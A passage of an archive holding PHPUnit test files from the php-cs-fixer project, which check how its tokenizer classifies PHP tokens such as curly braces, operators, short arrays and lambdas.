use Symfony\CS\Tokenizer\Transformers;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class TransformersTest extends \PHPUnit_Framework_TestCase
{
    /**
     * @dataProvider provideCustomTokenPrefixCases
     */
    public function testCustomTokenPrefix($name)
    {
        $this->assertStringStartsWith('CT_', $name, 'Custom token should start with `CT_` prefix.');
    }

    public function provideCustomTokenPrefixCases()
    {
        $transformers = Transformers::create();

        $transformersReflection = new \ReflectionClass($transformers);
        $propertyReflection = $transformersReflection->getProperty('items');
        $propertyReflection->setAccessible(true);

        $items = $propertyReflection->getValue($transformers);

        $cases = array();

        foreach ($items as $item) {
            foreach ($item->getCustomTokenNames() as $name) {
                $cases[] = array($name);
            }
        }

        return $cases;
    }

    /**
     * @dataProvider getPriorityCases
     */
    public function testPriority(TransformerInterface $first, TransformerInterface $second)
    {
        $this->assertLessThan($first->getPriority(), $second->getPriority());
    }

    public function getPriorityCases()
    {
        $transformersObject = Transformers::create();
        $transformers = array();

        foreach ($transformersObject->getTransformers() as $transformer) {
            $transformers[$transformer->getName()] = $transformer;
        }

        return array(
            array($transformers['curly_close'], $transformers['dollar_close_curly_braces']),
            array($transformers['curly_close'], $transformers['dynamic_prop_brace']),
            array($transformers['curly_close'], $transformers['dynamic_var_brace']),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Tokenizer/Transformer/DynamicPropBraceTest.php000066600000002256151456236460023160 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Tokenizer\Transformer;

use Symfony\CS\Tests\Tokenizer\AbstractTransformerTestBase;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class DynamicPropBraceTest extends AbstractTransformerTestBase
{
    /**
     * @dataProvider provideProcessCases
     */
    public function testProcess($source, array $expectedTokens)
    {
        $tokens = Tokens::fromCode($source);

        foreach ($expectedTokens as $index => $name) {
            $this->assertSame(constant($name), $tokens[$index]->getId());
            $this->assertSame($name, $tokens[$index]->getName());
        }
    }

    public function provideProcessCases()
    {
        return array(
            array(
                '<?php $foo->{$bar};',
                array(
                    3 => 'CT_DYNAMIC_PROP_BRACE_OPEN',
                    5 => 'CT_DYNAMIC_PROP_BRACE_CLOSE',
                ),
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Tokenizer/Transformer/CurlyCloseTest.php000066600000003110151456236460022050 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Tokenizer\Transformer;

use Symfony\CS\Tests\Tokenizer\AbstractTransformerTestBase;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class CurlyCloseTest extends AbstractTransformerTestBase
{
    /**
     * @dataProvider provideProcessCases
     */
    public function testProcess($source, array $expectedTokens)
    {
        $tokens = Tokens::fromCode($source);

        foreach ($expectedTokens as $index => $name) {
            $this->assertSame(constant($name), $tokens[$index]->getId());
            $this->assertSame($name, $tokens[$index]->getName());
        }
    }

    public function provideProcessCases()
    {
        return array(
            array(
                '<?php echo "This is {$great}";',
                array(
                    5 => 'T_CURLY_OPEN',
                    7 => 'CT_CURLY_CLOSE',
                ),
            ),
            array(
                '<?php $a = "a{$b->c()}d";',
                array(
                    7 => 'T_CURLY_OPEN',
                    13 => 'CT_CURLY_CLOSE',
                ),
            ),
            array(
                '<?php echo "I\'d like an {${beers::$ale}}\n";',
                array(
                    5 => 'T_CURLY_OPEN',
                    12 => 'CT_CURLY_CLOSE',
                ),
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Tokenizer/Transformer/DollarCloseCurlyBracesTest.php000066600000002300151456236460024326 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Tokenizer\Transformer;

use Symfony\CS\Tests\Tokenizer\AbstractTransformerTestBase;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class DollarCloseCurlyBracesTest extends AbstractTransformerTestBase
{
    /**
     * @dataProvider provideProcessCases
     */
    public function testProcess($source, array $expectedTokens)
    {
        $tokens = Tokens::fromCode($source);

        foreach ($expectedTokens as $index => $name) {
            $this->assertSame(constant($name), $tokens[$index]->getId());
            $this->assertSame($name, $tokens[$index]->getName());
        }
    }

    public function provideProcessCases()
    {
        return array(
            array(
                '<?php echo "This is ${great}";',
                array(
                    5 => 'T_DOLLAR_OPEN_CURLY_BRACES',
                    7 => 'CT_DOLLAR_CLOSE_CURLY_BRACES',
                ),
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Tokenizer/Transformer/ClassConstantTest.php000066600000002714151456236460022554 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Tokenizer\Transformer;

use Symfony\CS\Tests\Tokenizer\AbstractTransformerTestBase;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ClassConstantTest extends AbstractTransformerTestBase
{
    /**
     * @dataProvider provideProcessCases
     */
    public function testProcess($source, array $expectedTokens)
    {
        $tokens = Tokens::fromCode($source);

        foreach ($expectedTokens as $index => $name) {
            $this->assertSame(constant($name), $tokens[$index]->getId());
            $this->assertSame($name, $tokens[$index]->getName());
        }
    }

    public function provideProcessCases()
    {
        return array(
            array(
                '<?php echo X::class;',
                array(
                    5 => 'CT_CLASS_CONSTANT',
                ),
            ),
            array(
                '<?php echo X::cLaSS;',
                array(
                    5 => 'CT_CLASS_CONSTANT',
                ),
            ),
            array(
                '<?php echo X::bar;',
                array(),
            ),
            array(
                '<?php class X{}',
                array(),
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Tokenizer/Transformer/DynamicVarBraceTest.php000066600000004000151456236460022755 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Tokenizer\Transformer;

use Symfony\CS\Tests\Tokenizer\AbstractTransformerTestBase;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class DynamicVarBraceTest extends AbstractTransformerTestBase
{
    /**
     * @dataProvider provideProcessCases
     */
    public function testProcess($source, array $expectedTokens = array())
    {
        $tokens = Tokens::fromCode($source);

        $this->assertSame(
            count($expectedTokens),
            array_sum(array_map(
                function ($item) { return count($item); },
                $tokens->findGivenKind(array_map(function ($name) { return constant($name); }, $expectedTokens))
            ))
        );

        foreach ($expectedTokens as $index => $name) {
            $this->assertSame(constant($name), $tokens[$index]->getId());
            $this->assertSame($name, $tokens[$index]->getName());
        }
    }

    public function provideProcessCases()
    {
        return array(
            array(
                '<?php ${$bar};',
                array(
                    2 => 'CT_DYNAMIC_VAR_BRACE_OPEN',
                    4 => 'CT_DYNAMIC_VAR_BRACE_CLOSE',
                ),
            ),
            // tests from CurlyCloseTest
            array(
                '<?php
                    echo "This is {$great}";
                    $a = "a{$b->c()}d";
                    echo "I\'d like an {${beers::$ale}}\n";
                ',
            ),
            // tests from DollarCloseCurlyBracesTest
            array('<?php echo "This is ${great}";'),
            // tests from DynamicPropBraceTest
            array('<?php $foo->{$bar};'),
            // extra tests
            array('<?php if (1) {} class Foo{ } function bar(){ }'),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Tokenizer/Transformer/ArrayTypehintTest.php000066600000002307151456236460022576 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Tokenizer\Transformer;

use Symfony\CS\Tests\Tokenizer\AbstractTransformerTestBase;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ArrayTypehintTest extends AbstractTransformerTestBase
{
    /**
     * @dataProvider provideProcessCases
     */
    public function testProcess($source, array $expectedTokens)
    {
        $tokens = Tokens::fromCode($source);

        foreach ($expectedTokens as $index => $name) {
            $this->assertSame(constant($name), $tokens[$index]->getId());
            $this->assertSame($name, $tokens[$index]->getName());
        }
    }

    public function provideProcessCases()
    {
        return array(
            array(
                '<?php
$a = array(1, 2, 3);
function foo (array /** @type array */ $bar)
{
}',
                array(
                    5 => 'T_ARRAY',
                    22 => 'CT_ARRAY_TYPEHINT',
                ),
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Tokenizer/TokensTest.php000066600000077116151456236460016746 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Tokenizer;

use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 * @author Max Voloshin <voloshin.dp@gmail.com>
 * @author Gregor Harlan <gharlan@web.de>
 * @author SpacePossum
 */
class TokensTest extends \PHPUnit_Framework_TestCase
{
    /**
     * @param Token[]|null $expected
     * @param Token[]|null $input
     */
    private function assertEqualsTokensArray(array $expected = null, array $input = null)
    {
        if (null === $expected) {
            $this->assertNull($input);

            return;
        }

        $this->assertSame(array_keys($expected), array_keys($input), 'Both arrays need to have same keys.');

        foreach ($expected as $index => $expectedToken) {
            $this->assertTrue(
                $expectedToken->equals($input[$index]),
                sprintf('The token at index %d should be %s, got %s', $index, $expectedToken->toJson(), $input[$index]->toJson())
            );
        }
    }

    public function testGetClassyElements()
    {
        $source = <<<'PHP'
<?php
class Foo
{
    public $prop0;
    protected $prop1;
    private $prop2 = 1;
    var $prop3 = array(1,2,3);

    public function bar4()
    {
        $a = 5;

        return " ({$a})";
    }
    public function bar5($data)
    {
        $message = $data;
        $example = function ($arg) use ($message) {
            echo $arg . ' ' . $message;
        };
        $example('hello');
    }
}
PHP;

        $tokens = Tokens::fromCode($source);
        $elements = array_values($tokens->getClassyElements());

        $this->assertCount(6, $elements);
        $this->assertSame('property', $elements[0]['type']);
        $this->assertSame('property', $elements[1]['type']);
        $this->assertSame('property', $elements[2]['type']);
        $this->assertSame('property', $elements[3]['type']);
        $this->assertSame('method', $elements[4]['type']);
        $this->assertSame('method', $elements[5]['type']);
    }

    public function testReadFromCacheAfterClearing()
    {
        $code = '<?php echo 1;';
        $tokens = Tokens::fromCode($code);

        $countBefore = $tokens->count();

        for ($i = 0; $i < $countBefore; ++$i) {
            $tokens[$i]->clear();
        }

        $tokens = Tokens::fromCode($code);

        $this->assertSame($countBefore, $tokens->count());
    }

    /**
     * @dataProvider provideIsAnonymousClassCases
     */
    public function testIsAnonymousClass($source, array $expected)
    {
        $tokens = Tokens::fromCode($source);

        foreach ($expected as $index => $expectedValue) {
            $this->assertSame($expectedValue, $tokens->isAnonymousClass($index));
        }
    }

    public function provideIsAnonymousClassCases()
    {
        return array(
            array(
                '<?php class foo {}',
                array(1 => false),
            ),
            array(
                '<?php $foo = new class() {};',
                array(7 => true),
            ),
            array(
                '<?php $foo = new class() extends Foo implements Bar, Baz {};',
                array(7 => true),
            ),
            array(
                '<?php class Foo { function bar() { return new class() {}; } }',
                array(1 => false, 19 => true),
            ),
            array(
                '<?php $a = new class(new class($d->a) implements B{}) extends C{};',
                array(7 => true, 11 => true),
            ),
        );
    }

    /**
     * @dataProvider provideIsLambdaCases
     */
    public function testIsLambda($source, array $expected)
    {
        $tokens = Tokens::fromCode($source);

        foreach ($expected as $index => $expectedValue) {
            $this->assertSame($expectedValue, $tokens->isLambda($index));
        }
    }

    public function provideIsLambdaCases()
    {
        return array(
            array(
                '<?php function foo () {};',
                array(1 => false),
            ),
            array(
                '<?php function /** foo */ foo () {};',
                array(1 => false),
            ),
            array(
                '<?php $foo = function () {};',
                array(5 => true),
            ),
            array(
                '<?php $foo = function /** foo */ () {};',
                array(5 => true),
            ),
            array(
                '<?php
preg_replace_callback(
    "/(^|[a-z])/",
    function (array $matches) {
        return "a";
    },
    $string
);',
                array(7 => true),
            ),
            array(
                '<?php $foo = function &() {};',
                array(5 => true),
            ),
        );
    }

    /**
     * @dataProvider provideIsShortArrayCases
     */
    public function testIsShortArray($source, array $expected)
    {
        $tokens = Tokens::fromCode($source);

        foreach ($expected as $index => $expectedValue) {
            $this->assertSame($expectedValue, $tokens->isShortArray($index));
        }
    }

    public function provideIsShortArrayCases()
    {
        return array(
            array(
                '<?php [];',
                array(1 => true),
            ),
            array(
                '<?php [1, "foo"];',
                array(1 => true),
            ),
            array(
                '<?php [[]];',
                array(1 => true, 2 => true),
            ),
            array(
                '<?php ["foo", ["bar", "baz"]];',
                array(1 => true, 5 => true),
            ),
            array(
                '<?php (array) [1, 2];',
                array(3 => true),
            ),
            array(
                '<?php [1,2][$x];',
                array(1 => true, 6 => false),
            ),
            array(
                '<?php array();',
                array(1 => false),
            ),
            array(
                '<?php $x[] = 1;',
                array(2 => false),
            ),
            array(
                '<?php $x[1];',
                array(2 => false),
            ),
            array(
                '<?php $x [ 1 ];',
                array(3 => false),
            ),
            array(
                '<?php ${"x"}[1];',
                array(5 => false),
            ),
            array(
                '<?php FOO[1];',
                array(2 => false),
            ),
            array(
                '<?php array("foo")[1];',
                array(5 => false),
            ),
            array(
                '<?php foo()[1];',
                array(4 => false),
            ),
            array(
                '<?php \'foo\'[1];',
                array(2 => false),
            ),
        );
    }

    /**
     * @dataProvider provideIsUnarySuccessorOperator
     */
    public function testIsUnarySuccessorOperator($source, array $expected)
    {
        $tokens = Tokens::fromCode($source);

        foreach ($expected as $index => $expectedValue) {
            $this->assertSame($expectedValue, $tokens->isUnarySuccessorOperator($index));
            if ($expectedValue) {
                $this->assertFalse($tokens->isUnaryPredecessorOperator($index));
                $this->assertFalse($tokens->isBinaryOperator($index));
            }
        }
    }

    public function provideIsUnarySuccessorOperator()
    {
        return array(
            array(
                '<?php $a++;',
                array(2 => true),
            ),
            array(
                '<?php $a--;',
                array(2 => true),
            ),
            array(
                '<?php $a ++;',
                array(3 => true),
            ),
            array(
                '<?php $a++ + 1;',
                array(2 => true, 4 => false),
            ),
            array(
                '<?php ${"a"}++;',
                array(5 => true),
            ),
            array(
                '<?php $foo->bar++;',
                array(4 => true),
            ),
            array(
                '<?php $foo->{"bar"}++;',
                array(6 => true),
            ),
            array(
                '<?php $a["foo"]++;',
                array(5 => true),
            ),
        );
    }

    /**
     * @dataProvider provideIsUnaryPredecessorOperator
     */
    public function testIsUnaryPredecessorOperator($source, array $expected)
    {
        $tokens = Tokens::fromCode($source);

        foreach ($expected as $index => $expectedValue) {
            $this->assertSame($expectedValue, $tokens->isUnaryPredecessorOperator($index));
            if ($expectedValue) {
                $this->assertFalse($tokens->isUnarySuccessorOperator($index));
                $this->assertFalse($tokens->isBinaryOperator($index));
            }
        }
    }

    public function provideIsUnaryPredecessorOperator()
    {
        return array(
            array(
                '<?php ++$a;',
                array(1 => true),
            ),
            array(
                '<?php --$a;',
                array(1 => true),
            ),
            array(
                '<?php -- $a;',
                array(1 => true),
            ),
            array(
                '<?php $a + ++$b;',
                array(3 => false, 5 => true),
            ),
            array(
                '<?php !!$a;',
                array(1 => true, 2 => true),
            ),
            array(
                '<?php $a = &$b;',
                array(5 => true),
            ),
            array(
                '<?php function &foo() {}',
                array(3 => true),
            ),
            array(
                '<?php @foo();',
                array(1 => true),
            ),
            array(
                '<?php foo(+ $a, -$b);',
                array(3 => true, 8 => true),
            ),
            array(
                '<?php function foo(&$a, array &$b, Bar &$c) {}',
                array(5 => true, 11 => true, 17 => true),
            ),

        );
    }

    /**
     * @dataProvider provideIsUnaryPredecessorOperator56
     * @requires PHP 5.6
     */
    public function testIsUnaryPredecessorOperator56($source, array $expected)
    {
        $tokens = Tokens::fromCode($source);

        foreach ($expected as $index => $expectedValue) {
            $this->assertSame($expectedValue, $tokens->isUnaryPredecessorOperator($index));
            if ($expectedValue) {
                $this->assertFalse($tokens->isUnarySuccessorOperator($index));
                $this->assertFalse($tokens->isBinaryOperator($index));
            }
        }
    }

    public function provideIsUnaryPredecessorOperator56()
    {
        return array(
            array(
                '<?php function foo($a, ...$b) {};',
                array(8 => true),
            ),
            array(
                '<?php function foo(&...$b) {};',
                array(5 => true, 6 => true),
            ),
            array(
                '<?php function foo(array ...$b) {};',
                array(7 => true),
            ),
            array(
                '<?php $foo = function(...$a) {};',
                array(7 => true),
            ),
            array(
                '<?php $foo = function($a, ...$b) {};',
                array(10 => true),
            ),
        );
    }

    /**
     * @dataProvider provideIsBinaryOperator
     */
    public function testIsBinaryOperator($source, array $expected)
    {
        $tokens = Tokens::fromCode($source);

        foreach ($expected as $index => $expectedValue) {
            $this->assertSame($expectedValue, $tokens->isBinaryOperator($index));
            if ($expectedValue) {
                $this->assertFalse($tokens->isUnarySuccessorOperator($index));
                $this->assertFalse($tokens->isUnaryPredecessorOperator($index));
            }
        }
    }

    public function provideIsBinaryOperator()
    {
        $cases = array(
            array(
                '<?php $a + $b;',
                array(3 => true),
            ),
            array(
                '<?php 1 + $b;',
                array(3 => true),
            ),
            array(
                '<?php 0.2 + $b;',
                array(3 => true),
            ),
            array(
                '<?php $a[1] + $b;',
                array(6 => true),
            ),
            array(
                '<?php FOO + $b;',
                array(3 => true),
            ),
            array(
                '<?php foo() + $b;',
                array(5 => true),
            ),
            array(
                '<?php ${"foo"} + $b;',
                array(6 => true),
            ),
            array(
                '<?php $a+$b;',
                array(2 => true),
            ),
            array(
                '<?php $a /* foo */  +  /* bar */  $b;',
                array(5 => true),
            ),
            array(
                '<?php $a =
$b;',
                array(3 => true),
            ),

            array(
                '<?php $a
= $b;',
                array(3 => true),
            ),
            array(
                '<?php $a = array("b" => "c", );',
                array(3 => true, 9 => true, 12 => false),
            ),

            array(
                '<?php $a * -$b;',
                array(3 => true, 5 => false),
            ),
            array(
                '<?php $a = -2 / +5;',
                array(3 => true, 5 => false, 8 => true, 10 => false),
            ),
            array(
                '<?php $a = &$b;',
                array(3 => true, 5 => false),
            ),
            array(
                '<?php $a++ + $b;',
                array(2 => false, 4 => true),
            ),
            array(
                '<?php $a = FOO & $bar;',
                array(7 => true),
            ),
            array(
                '<?php __LINE__ - 1;',
                array(3 => true),
            ),
            array(
                '<?php `echo 1` + 1;',
                array(5 => true),
            ),
        );

        $operators = array(
            '+', '-', '*', '/', '%', '<', '>', '|', '^', '&=', '&&', '||', '.=', '/=', '==', '>=', '===', '!=',
            '<>', '!==', '<=', 'and', 'or', 'xor', '-=', '%=', '*=', '|=', '+=', '<<', '<<=', '>>', '>>=', '^',
        );
        foreach ($operators as $operator) {
            $cases[] = array(
                '<?php $a '.$operator.' $b;',
                array(3 => true),
            );
        }

        return $cases;
    }

    /**
     * @dataProvider provideIsBinaryOperator56
     * @requires PHP 5.6
     */
    public function testIsBinaryOperator56($source, array $expected)
    {
        $tokens = Tokens::fromCode($source);

        foreach ($expected as $index => $expectedValue) {
            $this->assertSame($expectedValue, $tokens->isBinaryOperator($index));
            if ($expectedValue) {
                $this->assertFalse($tokens->isUnarySuccessorOperator($index));
                $this->assertFalse($tokens->isUnaryPredecessorOperator($index));
            }
        }
    }

    public function provideIsBinaryOperator56()
    {
        return array(
            array(
                '<?php $a ** $b;',
                array(3 => true),
            ),
            array(
                '<?php $a **= $b;',
                array(3 => true),
            ),
        );
    }

    /**
     * @dataProvider provideIsBinaryOperator70
     * @requires PHP 7.0
     */
    public function testIsBinaryOperator70($source, array $expected)
    {
        $tokens = Tokens::fromCode($source);

        foreach ($expected as $index => $expectedValue) {
            $this->assertSame($expectedValue, $tokens->isBinaryOperator($index));
            if ($expectedValue) {
                $this->assertFalse($tokens->isUnarySuccessorOperator($index));
                $this->assertFalse($tokens->isUnaryPredecessorOperator($index));
            }
        }
    }

    public function provideIsBinaryOperator70()
    {
        return array(
            array(
                '<?php $a <=> $b;',
                array(3 => true),
            ),
            array(
                '<?php $a ?? $b;',
                array(3 => true),
            ),
        );
    }

    /**
     * @dataProvider provideFindSequence
     */
    public function testFindSequence($source, $expected, array $params)
    {
        $tokens = Tokens::fromCode($source);

        $this->assertEqualsTokensArray($expected, call_user_func_array(array($tokens, 'findSequence'), $params));
    }

    public function provideFindSequence()
    {
        return array(
            array(
                '<?php $x = 1;',
                null,
                array(array(
                    array(T_OPEN_TAG),
                    array(T_VARIABLE, '$y'),
                )),
            ),

            array(
                '<?php $x = 1;',
                array(
                    0 => new Token(array(T_OPEN_TAG, '<?php ', 1)),
                    1 => new Token(array(T_VARIABLE, '$x', 1)),
                ),
                array(array(
                    array(T_OPEN_TAG),
                    array(T_VARIABLE, '$x'),
                )),
            ),

            array(
                '<?php $x = 1;',
                array(
                    3 => new Token('='),
                    5 => new Token(array(T_LNUMBER, '1', 1)),
                    6 => new Token(';'),
                ),
                array(array(
                    '=',
                    array(T_LNUMBER, '1'),
                    ';',
                )),
            ),

            array(
                '<?php $x = 1;',
                array(
                    0 => new Token(array(T_OPEN_TAG, '<?php ', 1)),
                    1 => new Token(array(T_VARIABLE, '$x', 1)),
                ),
                array(array(
                    array(T_OPEN_TAG),
                    array(T_VARIABLE, '$x'),
                ), 0),
            ),

            array(
                '<?php $x = 1;',
                null,
                array(array(
                    array(T_OPEN_TAG),
                    array(T_VARIABLE, '$x'),
                ), 1),
            ),

            array(
                '<?php $x = 1;',
                array(
                    3 => new Token('='),
                    5 => new Token(array(T_LNUMBER, '1', 1)),
                    6 => new Token(';'),
                ),
                array(array(
                    '=',
                    array(T_LNUMBER, '1'),
                    ';',
                ), 3, 6),
            ),

            array(
                '<?php $x = 1;',
                null,
                array(array(
                    '=',
                    array(T_LNUMBER, '1'),
                    ';',
                ), 4, 6),
            ),

            array(
                '<?php $x = 1;',
                null,
                array(array(
                    '=',
                    array(T_LNUMBER, '1'),
                    ';',
                ), 3, 5),
            ),

            array(
                '<?php $x = 1;',
                array(
                    0 => new Token(array(T_OPEN_TAG, '<?php ', 1)),
                    1 => new Token(array(T_VARIABLE, '$x', 1)),
                ),
                array(array(
                    array(T_OPEN_TAG),
                    array(T_VARIABLE, '$x'),
                ), 0, 1, true),
            ),

            array(
                '<?php $x = 1;',
                null,
                array(array(
                    array(T_OPEN_TAG),
                    array(T_VARIABLE, '$X'),
                ), 0, 1, true),
            ),

            array(
                '<?php $x = 1;',
                null,
                array(array(
                    array(T_OPEN_TAG),
                    array(T_VARIABLE, '$X'),
                ), 0, 1, array(true, true)),
            ),

            array(
                '<?php $x = 1;',
                array(
                    0 => new Token(array(T_OPEN_TAG, '<?php ', 1)),
                    1 => new Token(array(T_VARIABLE, '$x', 1)),
                ),
                array(array(
                    array(T_OPEN_TAG),
                    array(T_VARIABLE, '$X'),
                ), 0, 1, false),
            ),

            array(
                '<?php $x = 1;',
                array(
                    0 => new Token(array(T_OPEN_TAG, '<?php ', 1)),
                    1 => new Token(array(T_VARIABLE, '$x', 1)),
                ),
                array(array(
                    array(T_OPEN_TAG),
                    array(T_VARIABLE, '$X'),
                ), 0, 1, array(true, false)),
            ),

            array(
                '<?php $x = 1;',
                array(
                    0 => new Token(array(T_OPEN_TAG, '<?php ', 1)),
                    1 => new Token(array(T_VARIABLE, '$x', 1)),
                ),
                array(array(
                    array(T_OPEN_TAG),
                    array(T_VARIABLE, '$X'),
                ), 0, 1, array(1 => false)),
            ),

            array(
                '<?php $x = 1;',
                null,
                array(array(
                    array(T_OPEN_TAG),
                    array(T_VARIABLE, '$X'),
                ), 0, 1, array(2 => false)),
            ),
        );
    }

    /**
     * @expectedException \InvalidArgumentException
     * @dataProvider provideFindSequenceExceptions
     */
    public function testFindSequenceException($message, $sequence)
    {
        $tokens = Tokens::fromCode('<?php $x = 1;');
        try {
            $tokens->findSequence($sequence);
        } catch (\InvalidArgumentException $e) {
            $this->assertSame($message, $e->getMessage());
            throw $e;
        }
    }

    public function provideFindSequenceExceptions()
    {
        $emptyToken = new Token('!');
        $emptyToken->clear();

        return array(
            array('Invalid sequence', array()),
            array('Non-meaningful token at position: 0', array(
                array(T_WHITESPACE, '   '),
            )),
            array('Non-meaningful token at position: 1', array(
                '{', array(T_COMMENT, '// Foo'), '}',
            )),
            array('Non-meaningful token at position: 2', array(
                '{', '!', $emptyToken, '}',
            )),
        );
    }

    public function testClearRange()
    {
        $source = <<<'PHP'
<?php
class FooBar
{
    public function foo()
    {
        return 'bar';
    }

    public function bar()
    {
        return 'foo';
    }
}
PHP;

        $tokens = Tokens::fromCode($source);
        $publicIndexes = array_keys($tokens->findGivenKind(T_PUBLIC));
        $fooIndex = $publicIndexes[0];
        $barIndex = $publicIndexes[1];

        $tokens->clearRange($fooIndex, $barIndex - 1);

        $newPublicIndexes = array_keys($tokens->findGivenKind(T_PUBLIC));
        $this->assertSame($barIndex, reset($newPublicIndexes));

        for ($i = $fooIndex; $i < $barIndex; ++$i) {
            $this->assertTrue($tokens[$i]->isWhitespace());
        }
    }

    /**
     * @dataProvider provideMonolithicPhpDetection
     *
     * @param string $source
     * @param bool   $monolitic
     */
    public function testMonolithicPhpDetection($source, $monolitic)
    {
        $tokens = Tokens::fromCode($source);
        $this->assertSame($monolitic, $tokens->isMonolithicPhp());
    }

    public function provideMonolithicPhpDetection()
    {
        return array(
            array("<?php\n", true),
            array("<?php\n?>", true),
            array('', false),
            array(' ', false),
            array("#!/usr/bin/env php\n<?php\n", false),
            array(" <?php\n", false),
            array("<?php\n?> ", false),
            array("<?php\n?><?php\n", false),
        );
    }

    /**
     * @dataProvider provideShortOpenTagMonolithicPhpDetection
     *
     * @param string $source
     * @param bool   $monolithic
     */
    public function testShortOpenTagMonolithicPhpDetection($source, $monolithic)
    {
        /*
         * short_open_tag setting is ignored by HHVM
         * @see https://github.com/facebook/hhvm/issues/4758
         */
        if (!ini_get('short_open_tag') && !defined('HHVM_VERSION')) {
            // Short open tag is parsed as T_INLINE_HTML
            $monolithic = false;
        }

        $tokens = Tokens::fromCode($source);
        $this->assertSame($monolithic, $tokens->isMonolithicPhp());
    }

    public function provideShortOpenTagMonolithicPhpDetection()
    {
        return array(
            array("<?\n", true),
            array("<?\n?>", true),
            array(" <?\n", false),
            array("<?\n?> ", false),
            array("<?\n?><?\n", false),
            array("<?\n?><?php\n", false),
            array("<?\n?><?=' ';\n", false),
            array("<?php\n?><?\n", false),
            array("<?=' '\n?><?\n", false),
        );
    }

    /**
     * @dataProvider provideShortOpenTagEchoMonolithicPhpDetection
     *
     * @param string $source
     * @param bool   $monolithic
     */
    public function testShortOpenTagEchoMonolithicPhpDetection($source, $monolithic)
    {
        /*
         * short_open_tag setting is ignored by HHVM
         * @see https://github.com/facebook/hhvm/issues/4758
         */
        if (!ini_get('short_open_tag') && 50400 > PHP_VERSION_ID && !defined('HHVM_VERSION')) {
            // Short open tag echo is parsed as T_INLINE_HTML
            $monolithic = false;
        }

        $tokens = Tokens::fromCode($source);
        $this->assertSame($monolithic, $tokens->isMonolithicPhp());
    }

    public function provideShortOpenTagEchoMonolithicPhpDetection()
    {
        return array(
            array("<?=' ';\n", true),
            array("<?=' '?>", true),
            array(" <?=' ';\n", false),
            array("<?=' '?> ", false),
            array("<?php\n?><?=' ';\n", false),
            array("<?=' '\n?><?php\n", false),
            array("<?=' '\n?><?=' ';\n", false),
        );
    }

    /**
     * @dataProvider provideIsArray
     * @requires PHP 5.4
     */
    public function testIsArray($source, $tokenIndex, $isMultilineArray = false, $isShortArray = false)
    {
        $tokens = Tokens::fromCode($source);
        $this->assertTrue($tokens->isArray($tokenIndex), 'Expected to be an array.');
        $this->assertSame($isMultilineArray, $tokens->isArrayMultiLine($tokenIndex), sprintf('Expected %sto be a multiline array', $isMultilineArray ? '' : 'not '));
        $this->assertSame($isShortArray, $tokens->isShortArray($tokenIndex), sprintf('Expected %sto be a short array', $isShortArray ? '' : 'not '));
    }

    public function provideIsArray()
    {
        $cases = array(
            array(
                '<?php
                    array("a" => 1);
                ',
                2,
            ),
            array(
                // short array PHP 5.4 single line
                '<?php
                    ["a" => 2];
                ',
                2, false, true,
            ),
            array(
                '<?php
                    array(
                        "a" => 3
                    );
                ',
                2, true,
            ),
            array(
                // short array PHP 5.4 multi line
                '<?php
                    [
                        "a" => 4
                    ];
                ',
                2, true, true,
            ),
            array(
                '<?php
                    array(
                        "a" => array(5, 6, 7),
8 => new \Exception(\'Ellow\')
                    );
                ',
                2, true,
            ),
            array(
                // mix short array syntax
                '<?php
                    array(
                        "a" => [9, 10, 11],
12 => new \Exception(\'Ellow\')
                    );
                ',
                2, true,
            ),
            // Windows/Max EOL testing
            array(
                "<?php\r\narray('a' => 13);\r\n",
                1,
            ),
            array(
                "<?php\r\n   array(\r\n       'a' => 14,\r\n       'b' =>  15\r\n   );\r\n",
                2, true,
            ),
        );

        return $cases;
    }

    /**
     * @dataProvider provideArrayExceptions
     */
    public function testIsNotArray($source, $tokenIndex)
    {
        $tokens = Tokens::fromCode($source);
        $this->assertFalse($tokens->isArray($tokenIndex));
    }

    /**
